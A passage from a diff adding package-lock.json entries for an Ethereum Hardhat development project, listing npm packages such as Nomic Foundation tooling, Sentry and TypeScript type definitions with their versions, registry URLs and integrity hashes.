"^4.0.0", + "@nomicfoundation/ethereumjs-util": "^8.0.0", + "@types/async-eventemitter": "^0.2.1", + "async-eventemitter": "^0.2.4", + "debug": "^4.3.3", + "ethereum-cryptography": "0.1.3", + "functional-red-black-tree": "^1.0.1", + "mcl-wasm": "^0.7.1", + "rustbn.js": "~0.2.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@nomicfoundation/ethereumjs-vm/node_modules/ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "dependencies": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + }, + "node_modules/@nomicfoundation/hardhat-chai-matchers": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/hardhat-chai-matchers/-/hardhat-chai-matchers-1.0.3.tgz", + "integrity": "sha512-qEE7Drs2HSY+krH09TXm6P9LFogs0BqbUq6wPD7nQRhmJ+p5zoDaIZjM5WL1pHqU5MpGqya3y+BdwmTYBfU5UA==", + "dev": true, + "peer": true, + "dependencies": { + "@ethersproject/abi": "^5.1.2", + "@types/chai-as-promised": "^7.1.3", + "chai-as-promised": "^7.1.1", + "chalk": "^2.4.2", + "deep-eql": "^4.0.1", + "ordinal": "^1.0.3" + }, + "peerDependencies": { + "@nomiclabs/hardhat-ethers": "^2.0.0", + "chai": "^4.2.0", + "ethers": "^5.0.0", + "hardhat": "^2.9.4" + } + }, + "node_modules/@nomicfoundation/hardhat-network-helpers": { + "version": "1.0.6", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/hardhat-network-helpers/-/hardhat-network-helpers-1.0.6.tgz", + "integrity": "sha512-a35iVD4ycF6AoTfllAnKm96IPIzzHpgKX/ep4oKc2bsUKFfMlacWdyntgC/7d5blyCTXfFssgNAvXDZfzNWVGQ==", + "dev": true, + "peer": true, + "dependencies": { + "ethereumjs-util": "^7.1.4" + }, + "peerDependencies": { + "hardhat": "^2.9.5" + } + }, + "node_modules/@nomicfoundation/hardhat-network-helpers/node_modules/ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "peer": true, + "dependencies": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + }, + "node_modules/@nomicfoundation/hardhat-network-helpers/node_modules/ethereumjs-util": { + "version": "7.1.5", + "resolved": "https://registry.npmmirror.com/ethereumjs-util/-/ethereumjs-util-7.1.5.tgz", + "integrity": "sha512-SDl5kKrQAudFBUe5OJM9Ac6WmMyYmXX/6sTmLZ3ffG2eY6ZIGBes3pEDxNN6V72WyOw4CPD5RomKdsa8DAAwLg==", + "dev": true, + "peer": true, + "dependencies": { + "@types/bn.js": "^5.1.0", + "bn.js": "^5.1.2", + "create-hash": "^1.1.2", + "ethereum-cryptography": "^0.1.3", + "rlp": "^2.2.4" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/@nomicfoundation/hardhat-toolbox": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@nomicfoundation/hardhat-toolbox/-/hardhat-toolbox-2.0.0.tgz", + "integrity": "sha512-BoOPbzLQ1GArnBZd4Jz4IU8FY3RY4nUwpXlfymXwxlXNimngkPRJj7ivVNurD7igohEjf90v/Axn2M5WwAdCJQ==", + "dev": true, + "peerDependencies": { + "@ethersproject/abi": "^5.4.7", + "@ethersproject/providers": "^5.4.7", + "@nomicfoundation/hardhat-chai-matchers": "^1.0.0", + "@nomicfoundation/hardhat-network-helpers": "^1.0.0", + "@nomiclabs/hardhat-ethers": "^2.0.0", + "@nomiclabs/hardhat-etherscan": "^3.0.0", + "@typechain/ethers-v5": "^10.1.0", + "@typechain/hardhat": "^6.1.2", + "@types/chai": "^4.2.0", + "@types/mocha": "^9.1.0", + "@types/node": ">=12.0.0", + "chai": "^4.2.0", + "ethers": "^5.4.7", + "hardhat": "^2.11.0", + "hardhat-gas-reporter": "^1.0.8", + "solidity-coverage": "^0.8.1", + "ts-node": ">=8.0.0", + "typechain": "^8.1.0", + "typescript": ">=4.5.0" + } + }, + "node_modules/@nomicfoundation/solidity-analyzer": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer/-/solidity-analyzer-0.0.3.tgz", + "integrity": "sha512-VFMiOQvsw7nx5bFmrmVp2Q9rhIjw2AFST4DYvWVVO9PMHPE23BY2+kyfrQ4J3xCMFC8fcBbGLt7l4q7m1SlTqg==", + "dev": true, + "engines": { + "node": ">= 12" + }, + "optionalDependencies": { + "@nomicfoundation/solidity-analyzer-darwin-arm64": "0.0.3", + "@nomicfoundation/solidity-analyzer-darwin-x64": "0.0.3", + "@nomicfoundation/solidity-analyzer-freebsd-x64": "0.0.3", + "@nomicfoundation/solidity-analyzer-linux-arm64-gnu": "0.0.3", + "@nomicfoundation/solidity-analyzer-linux-arm64-musl": "0.0.3", + "@nomicfoundation/solidity-analyzer-linux-x64-gnu": "0.0.3", + "@nomicfoundation/solidity-analyzer-linux-x64-musl": "0.0.3", + "@nomicfoundation/solidity-analyzer-win32-arm64-msvc": "0.0.3", + "@nomicfoundation/solidity-analyzer-win32-ia32-msvc": "0.0.3", + "@nomicfoundation/solidity-analyzer-win32-x64-msvc": "0.0.3" + } + }, + "node_modules/@nomicfoundation/solidity-analyzer-darwin-arm64": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer-darwin-arm64/-/solidity-analyzer-darwin-arm64-0.0.3.tgz", + "integrity": "sha512-W+bIiNiZmiy+MTYFZn3nwjyPUO6wfWJ0lnXx2zZrM8xExKObMrhCh50yy8pQING24mHfpPFCn89wEB/iG7vZDw==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@nomicfoundation/solidity-analyzer-darwin-x64": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer-darwin-x64/-/solidity-analyzer-darwin-x64-0.0.3.tgz", + "integrity": "sha512-HuJd1K+2MgmFIYEpx46uzwEFjvzKAI765mmoMxy4K+Aqq1p+q7hHRlsFU2kx3NB8InwotkkIq3A5FLU1sI1WDw==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@nomicfoundation/solidity-analyzer-freebsd-x64": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer-freebsd-x64/-/solidity-analyzer-freebsd-x64-0.0.3.tgz", + "integrity": "sha512-2cR8JNy23jZaO/vZrsAnWCsO73asU7ylrHIe0fEsXbZYqBP9sMr+/+xP3CELDHJxUbzBY8zqGvQt1ULpyrG+Kw==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@nomicfoundation/solidity-analyzer-linux-arm64-gnu": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer-linux-arm64-gnu/-/solidity-analyzer-linux-arm64-gnu-0.0.3.tgz", + "integrity": "sha512-Eyv50EfYbFthoOb0I1568p+eqHGLwEUhYGOxcRNywtlTE9nj+c+MT1LA53HnxD9GsboH4YtOOmJOulrjG7KtbA==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@nomicfoundation/solidity-analyzer-linux-arm64-musl": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer-linux-arm64-musl/-/solidity-analyzer-linux-arm64-musl-0.0.3.tgz", + "integrity": "sha512-V8grDqI+ivNrgwEt2HFdlwqV2/EQbYAdj3hbOvjrA8Qv+nq4h9jhQUxFpegYMDtpU8URJmNNlXgtfucSrAQwtQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@nomicfoundation/solidity-analyzer-linux-x64-gnu": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer-linux-x64-gnu/-/solidity-analyzer-linux-x64-gnu-0.0.3.tgz", + "integrity": "sha512-uRfVDlxtwT1vIy7MAExWAkRD4r9M79zMG7S09mCrWUn58DbLs7UFl+dZXBX0/8FTGYWHhOT/1Etw1ZpAf5DTrg==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@nomicfoundation/solidity-analyzer-linux-x64-musl": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer-linux-x64-musl/-/solidity-analyzer-linux-x64-musl-0.0.3.tgz", + "integrity": "sha512-8HPwYdLbhcPpSwsE0yiU/aZkXV43vlXT2ycH+XlOjWOnLfH8C41z0njK8DHRtEFnp4OVN6E7E5lHBBKDZXCliA==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@nomicfoundation/solidity-analyzer-win32-arm64-msvc": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer-win32-arm64-msvc/-/solidity-analyzer-win32-arm64-msvc-0.0.3.tgz", + "integrity": "sha512-5WWcT6ZNvfCuxjlpZOY7tdvOqT1kIQYlDF9Q42wMpZ5aTm4PvjdCmFDDmmTvyXEBJ4WTVmY5dWNWaxy8h/E28g==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@nomicfoundation/solidity-analyzer-win32-ia32-msvc": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer-win32-ia32-msvc/-/solidity-analyzer-win32-ia32-msvc-0.0.3.tgz", + "integrity": "sha512-P/LWGZwWkyjSwkzq6skvS2wRc3gabzAbk6Akqs1/Iiuggql2CqdLBkcYWL5Xfv3haynhL+2jlNkak+v2BTZI4A==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@nomicfoundation/solidity-analyzer-win32-x64-msvc": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer-win32-x64-msvc/-/solidity-analyzer-win32-x64-msvc-0.0.3.tgz", + "integrity": "sha512-4AcTtLZG1s/S5mYAIr/sdzywdNwJpOcdStGF3QMBzEt+cGn3MchMaS9b1gyhb2KKM2c39SmPF5fUuWq1oBSQZQ==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@nomiclabs/hardhat-ethers": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/@nomiclabs/hardhat-ethers/-/hardhat-ethers-2.1.1.tgz", + "integrity": "sha512-Gg0IFkT/DW3vOpih4/kMjeZCLYqtfgECLeLXTs7ZDPzcK0cfoc5wKk4nq5n/izCUzdhidO/Utd6ptF9JrWwWVA==", + "dev": true, + "peer": true, + "peerDependencies": { + "ethers": "^5.0.0", + "hardhat": "^2.0.0" + } + }, + "node_modules/@nomiclabs/hardhat-etherscan": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/@nomiclabs/hardhat-etherscan/-/hardhat-etherscan-3.1.0.tgz", + "integrity": "sha512-JroYgfN1AlYFkQTQ3nRwFi4o8NtZF7K/qFR2dxDUgHbCtIagkUseca9L4E/D2ScUm4XT40+8PbCdqZi+XmHyQA==", + "dev": true, + "peer": true, + "dependencies": { + "@ethersproject/abi": "^5.1.2", + "@ethersproject/address": "^5.0.2", + "cbor": "^5.0.2", + "chalk": "^2.4.2", + "debug": "^4.1.1", + "fs-extra": "^7.0.1", + "lodash": "^4.17.11", + "semver": "^6.3.0", + "table": "^6.8.0", + "undici": "^5.4.0" + }, + "peerDependencies": { + "hardhat": "^2.0.4" + } + }, + "node_modules/@scure/base": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/@scure/base/-/base-1.1.1.tgz", + "integrity": "sha512-ZxOhsSyxYwLJj3pLZCefNitxsj093tb2vq90mp2txoYeBqbcjDjqFhyM8eUjq/uFm6zJ+mUuqxlS2FkuSY1MTA==", + "dev": true + }, + "node_modules/@scure/bip32": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/@scure/bip32/-/bip32-1.1.0.tgz", + "integrity": "sha512-ftTW3kKX54YXLCxH6BB7oEEoJfoE2pIgw7MINKAs5PsS6nqKPuKk1haTF/EuHmYqG330t5GSrdmtRuHaY1a62Q==", + "dev": true, + "dependencies": { + "@noble/hashes": "~1.1.1", + "@noble/secp256k1": "~1.6.0", + "@scure/base": "~1.1.0" + } + }, + "node_modules/@scure/bip39": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/@scure/bip39/-/bip39-1.1.0.tgz", + "integrity": "sha512-pwrPOS16VeTKg98dYXQyIjJEcWfz7/1YJIwxUEPFfQPtc86Ym/1sVgQ2RLoD43AazMk2l/unK4ITySSpW2+82w==", + "dev": true, + "dependencies": { + "@noble/hashes": "~1.1.1", + "@scure/base": "~1.1.0" + } + }, + "node_modules/@sentry/core": { + "version": "5.30.0", + "resolved": "https://registry.npmmirror.com/@sentry/core/-/core-5.30.0.tgz", + "integrity": "sha512-TmfrII8w1PQZSZgPpUESqjB+jC6MvZJZdLtE/0hZ+SrnKhW3x5WlYLvTXZpcWePYBku7rl2wn1RZu6uT0qCTeg==", + "dev": true, + "dependencies": { + "@sentry/hub": "5.30.0", + "@sentry/minimal": "5.30.0", + "@sentry/types": "5.30.0", + "@sentry/utils": "5.30.0", + "tslib": "^1.9.3" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@sentry/hub": { + "version": "5.30.0", + "resolved": "https://registry.npmmirror.com/@sentry/hub/-/hub-5.30.0.tgz", + "integrity": "sha512-2tYrGnzb1gKz2EkMDQcfLrDTvmGcQPuWxLnJKXJvYTQDGLlEvi2tWz1VIHjunmOvJrB5aIQLhm+dcMRwFZDCqQ==", + "dev": true, + "dependencies": { + "@sentry/types": "5.30.0", + "@sentry/utils": "5.30.0", + "tslib": "^1.9.3" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@sentry/minimal": { + "version": "5.30.0", + "resolved": "https://registry.npmmirror.com/@sentry/minimal/-/minimal-5.30.0.tgz", + "integrity": "sha512-BwWb/owZKtkDX+Sc4zCSTNcvZUq7YcH3uAVlmh/gtR9rmUvbzAA3ewLuB3myi4wWRAMEtny6+J/FN/x+2wn9Xw==", + "dev": true, + "dependencies": { + "@sentry/hub": "5.30.0", + "@sentry/types": "5.30.0", + "tslib": "^1.9.3" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@sentry/node": { + "version": "5.30.0", + "resolved": "https://registry.npmmirror.com/@sentry/node/-/node-5.30.0.tgz", + "integrity": "sha512-Br5oyVBF0fZo6ZS9bxbJZG4ApAjRqAnqFFurMVJJdunNb80brh7a5Qva2kjhm+U6r9NJAB5OmDyPkA1Qnt+QVg==", + "dev": true, + "dependencies": { + "@sentry/core": "5.30.0", + "@sentry/hub": "5.30.0", + "@sentry/tracing": "5.30.0", + "@sentry/types": "5.30.0", + "@sentry/utils": "5.30.0", + "cookie": "^0.4.1", + "https-proxy-agent": "^5.0.0", + "lru_map": "^0.3.3", + "tslib": "^1.9.3" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@sentry/tracing": { + "version": "5.30.0", + "resolved": "https://registry.npmmirror.com/@sentry/tracing/-/tracing-5.30.0.tgz", + "integrity": "sha512-dUFowCr0AIMwiLD7Fs314Mdzcug+gBVo/+NCMyDw8tFxJkwWAKl7Qa2OZxLQ0ZHjakcj1hNKfCQJ9rhyfOl4Aw==", + "dev": true, + "dependencies": { + "@sentry/hub": "5.30.0", + "@sentry/minimal": "5.30.0", + "@sentry/types": "5.30.0", + "@sentry/utils": "5.30.0", + "tslib": "^1.9.3" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@sentry/types": { + "version": "5.30.0", + "resolved": "https://registry.npmmirror.com/@sentry/types/-/types-5.30.0.tgz", + "integrity": "sha512-R8xOqlSTZ+htqrfteCWU5Nk0CDN5ApUTvrlvBuiH1DyP6czDZ4ktbZB0hAgBlVcK0U+qpD3ag3Tqqpa5Q67rPw==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/@sentry/utils": { + "version": "5.30.0", + "resolved": "https://registry.npmmirror.com/@sentry/utils/-/utils-5.30.0.tgz", + "integrity": "sha512-zaYmoH0NWWtvnJjC9/CBseXMtKHm/tm40sz3YfJRxeQjyzRqNQPgivpd9R/oDJCYj999mzdW382p/qi2ypjLww==", + "dev": true, + "dependencies": { + "@sentry/types": "5.30.0", + "tslib": "^1.9.3" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@solidity-parser/parser": { + "version": "0.14.3", + "resolved": "https://registry.npmmirror.com/@solidity-parser/parser/-/parser-0.14.3.tgz", + "integrity": "sha512-29g2SZ29HtsqA58pLCtopI1P/cPy5/UAzlcAXO6T/CNJimG6yA8kx4NaseMyJULiC+TEs02Y9/yeHzClqoA0hw==", + "dev": true, + "peer": true, + "dependencies": { + "antlr4ts": "^0.5.0-alpha.4" + } + }, + "node_modules/@tsconfig/node10": { + "version": "1.0.9", + "resolved": "https://registry.npmmirror.com/@tsconfig/node10/-/node10-1.0.9.tgz", + "integrity": "sha512-jNsYVVxU8v5g43Erja32laIDHXeoNvFEpX33OK4d6hljo3jDhCBDhx5dhCCTMWUojscpAagGiRkBKxpdl9fxqA==", + "dev": true, + "peer": true + }, + "node_modules/@tsconfig/node12": { + "version": "1.0.11", + "resolved": "https://registry.npmmirror.com/@tsconfig/node12/-/node12-1.0.11.tgz", + "integrity": "sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag==", + "dev": true, + "peer": true + }, + "node_modules/@tsconfig/node14": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/@tsconfig/node14/-/node14-1.0.3.tgz", + "integrity": "sha512-ysT8mhdixWK6Hw3i1V2AeRqZ5WfXg1G43mqoYlM2nc6388Fq5jcXyr5mRsqViLx/GJYdoL0bfXD8nmF+Zn/Iow==", + "dev": true, + "peer": true + }, + "node_modules/@tsconfig/node16": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/@tsconfig/node16/-/node16-1.0.3.tgz", + "integrity": "sha512-yOlFc+7UtL/89t2ZhjPvvB/DeAr3r+Dq58IgzsFkOAvVC6NMJXmCGjbptdXdR9qsX7pKcTL+s87FtYREi2dEEQ==", + "dev": true, + "peer": true + }, + "node_modules/@typechain/ethers-v5": { + "version": "10.1.0", + "resolved": "https://registry.npmmirror.com/@typechain/ethers-v5/-/ethers-v5-10.1.0.tgz", + "integrity": "sha512-3LIb+eUpV3mNCrjUKT5oqp8PBsZYSnVrkfk6pY/ZM0boRs2mKxjFZ7bktx42vfDye8PPz3NxtW4DL5NsNsFqlg==", + "dev": true, + "peer": true, + "dependencies": { + "lodash": "^4.17.15", + "ts-essentials": "^7.0.1" + }, + "peerDependencies": { + "@ethersproject/abi": "^5.0.0", + "@ethersproject/bytes": "^5.0.0", + "@ethersproject/providers": "^5.0.0", + "ethers": "^5.1.3", + "typechain": "^8.1.0", + "typescript": ">=4.3.0" + } + }, + "node_modules/@typechain/hardhat": { + "version": "6.1.3", + "resolved": "https://registry.npmmirror.com/@typechain/hardhat/-/hardhat-6.1.3.tgz", + "integrity": "sha512-e1H9MVl286ma0HuD9CBL248+pbdA7lWF6+I7FYwzykIrjilKhvLUv0Q7LtcyZztzgbP2g4Tyg1UPE+xy+qR7cA==", + "dev": true, + "peer": true, + "dependencies": { + "fs-extra": "^9.1.0" + }, + "peerDependencies": { + "@ethersproject/abi": "^5.4.7", + "@ethersproject/providers": "^5.4.7", + "@typechain/ethers-v5": "^10.1.0", + "ethers": "^5.4.7", + "hardhat": "^2.9.9", + "typechain": "^8.1.0" + } + }, + "node_modules/@typechain/hardhat/node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmmirror.com/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dev": true, + "peer": true, + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@typechain/hardhat/node_modules/jsonfile": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "dev": true, + "peer": true, + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/@typechain/hardhat/node_modules/universalify": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/universalify/-/universalify-2.0.0.tgz", + "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", + "dev": true, + "peer": true, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/@types/async-eventemitter": { + "version": "0.2.1", + "resolved": "https://registry.npmmirror.com/@types/async-eventemitter/-/async-eventemitter-0.2.1.tgz", + "integrity": "sha512-M2P4Ng26QbAeITiH7w1d7OxtldgfAe0wobpyJzVK/XOb0cUGKU2R4pfAhqcJBXAe2ife5ZOhSv4wk7p+ffURtg==", + "dev": true + }, + "node_modules/@types/bn.js": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/@types/bn.js/-/bn.js-5.1.1.tgz", + "integrity": "sha512-qNrYbZqMx0uJAfKnKclPh+dTwK33KfLHYqtyODwd5HnXOjnkhc4qgn3BrK6RWyGZm5+sIFE7Q7Vz6QQtJB7w7g==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/chai": { + "version": "4.3.3", + "resolved": "https://registry.npmmirror.com/@types/chai/-/chai-4.3.3.tgz", + "integrity": "sha512-hC7OMnszpxhZPduX+m+nrx+uFoLkWOMiR4oa/AZF3MuSETYTZmFfJAHqZEM8MVlvfG7BEUcgvtwoCTxBp6hm3g==", + "dev": true, + "peer": true + }, + "node_modules/@types/chai-as-promised": { + "version": "7.1.5", + "resolved": "https://registry.npmmirror.com/@types/chai-as-promised/-/chai-as-promised-7.1.5.tgz", + "integrity": "sha512-jStwss93SITGBwt/niYrkf2C+/1KTeZCZl1LaeezTlqppAKeoQC7jxyqYuP72sxBGKCIbw7oHgbYssIRzT5FCQ==", + "dev": true, + "peer": true, + "dependencies": { + "@types/chai": "*" + } + }, + "node_modules/@types/concat-stream": { + "version": "1.6.1", + "resolved": "https://registry.npmmirror.com/@types/concat-stream/-/concat-stream-1.6.1.tgz", + "integrity": "sha512-eHE4cQPoj6ngxBZMvVf6Hw7Mh4jMW4U9lpGmS5GBPB9RYxlFg+CHaVN7ErNY4W9XfLIEn20b4VDYaIrbq0q4uA==", + "dev": true, + "peer": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/form-data": { + "version": "0.0.33", + "resolved": "https://registry.npmmirror.com/@types/form-data/-/form-data-0.0.33.tgz", + "integrity": "sha512-8BSvG1kGm83cyJITQMZSulnl6QV8jqAGreJsc5tPu1Jq0vTSOiY/k24Wx82JRpWwZSqrala6sd5rWi6aNXvqcw==", + "dev": true, + "peer": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/glob": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/@types/glob/-/glob-7.2.0.tgz", + "integrity": "sha512-ZUxbzKl0IfJILTS6t7ip5fQQM/J3TJYubDm3nMbgubNNYS62eXeUpoLUC8/7fJNiFYHTrGPQn7hspDUzIHX3UA==", + "dev": true, + "peer": true, + "dependencies": { + "@types/minimatch": "*", + "@types/node": "*" + } + }, + "node_modules/@types/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/@types/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-ssE3Vlrys7sdIzs5LOxCzTVMsU7i9oa/IaW92wF32JFb3CVczqOkru2xspuKczHEbG3nvmPY7IFqVmGGHdNbYw==", + "dev": true + }, + "node_modules/@types/minimatch": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/@types/minimatch/-/minimatch-5.1.2.tgz", + "integrity": "sha512-K0VQKziLUWkVKiRVrx4a40iPaxTUefQmjtkQofBkYRcoaaL/8rhwDWww9qWbrgicNOgnpIsMxyNIUM4+n6dUIA==", + "dev": true, + "peer": true + }, + "node_modules/@types/mocha": { + "version": "9.1.1", + "resolved": "https://registry.npmmirror.com/@types/mocha/-/mocha-9.1.1.tgz", + "integrity": "sha512-Z61JK7DKDtdKTWwLeElSEBcWGRLY8g95ic5FoQqI9CMx0ns/Ghep3B4DfcEimiKMvtamNVULVNKEsiwV3aQmXw==", + "dev": true, + "peer": true + }, + "node_modules/@types/node": { + "version": "18.7.23", + "resolved": "https://registry.npmmirror.com/@types/node/-/node-18.7.23.tgz", + "integrity": "sha512-DWNcCHolDq0ZKGizjx2DZjR/PqsYwAcYUJmfMWqtVU2MBMG5Mo+xFZrhGId5r/O5HOuMPyQEcM6KUBp5lBZZBg==", + "dev": true + }, + "node_modules/@types/pbkdf2": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/@types/pbkdf2/-/pbkdf2-3.1.0.tgz", + "integrity": "sha512-Cf63Rv7jCQ0LaL8tNXmEyqTHuIJxRdlS5vMh1mj5voN4+QFhVZnlZruezqpWYDiJ8UTzhP0VmeLXCmBk66YrMQ==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/prettier": { + "version": "2.7.1", + "resolved": "https://registry.npmmirror.com/@types/prettier/-/prettier-2.7.1.tgz", + "integrity": "sha512-ri0UmynRRvZiiUJdiz38MmIblKK+oH30MztdBVR95dv/Ubw6neWSb8u1XpRb72L4qsZOhz+L+z9JD40SJmfWow==", + "dev": true, + "peer": true + }, + "node_modules/@types/qs": { + "version": "6.9.7", + "resolved": "https://registry.npmmirror.com/@types/qs/-/qs-6.9.7.tgz", + "integrity": "sha512-FGa1F62FT09qcrueBA6qYTrJPVDzah9a+493+o2PCXsesWHIn27G98TsSMs3WPNbZIEj4+VJf6saSFpvD+3Zsw==", + "dev": true, + "peer": true + }, + "node_modules/@types/secp256k1": { + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@types/secp256k1/-/secp256k1-4.0.3.tgz", + "integrity": "sha512-Da66lEIFeIz9ltsdMZcpQvmrmmoqrfju8pm1BH8WbYjZSwUgCwXLb9C+9XYogwBITnbsSaMdVPb2ekf7TV+03w==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@ungap/promise-all-settled": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/@ungap/promise-all-settled/-/promise-all-settled-1.1.2.tgz", + "integrity": "sha512-sL/cEvJWAnClXw0wHk85/2L0G6Sj8UB0Ctc1TEMbKSsmpRosqhwj9gWgFRZSrBr2f9tiXISwNhCPmlfqUqyb9Q==", + "dev": true + }, + "node_modules/abbrev": { + "version": "1.0.9", + "resolved": "https://registry.npmmirror.com/abbrev/-/abbrev-1.0.9.tgz", + "integrity": "sha512-LEyx4aLEC3x6T0UguF6YILf+ntvmOaWsVfENmIW0E9H09vKlLDGelMjjSm0jkDHALj8A8quZ/HapKNigzwge+Q==", + "dev": true, + "peer": true + }, + "node_modules/abort-controller": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/abort-controller/-/abort-controller-3.0.0.tgz", 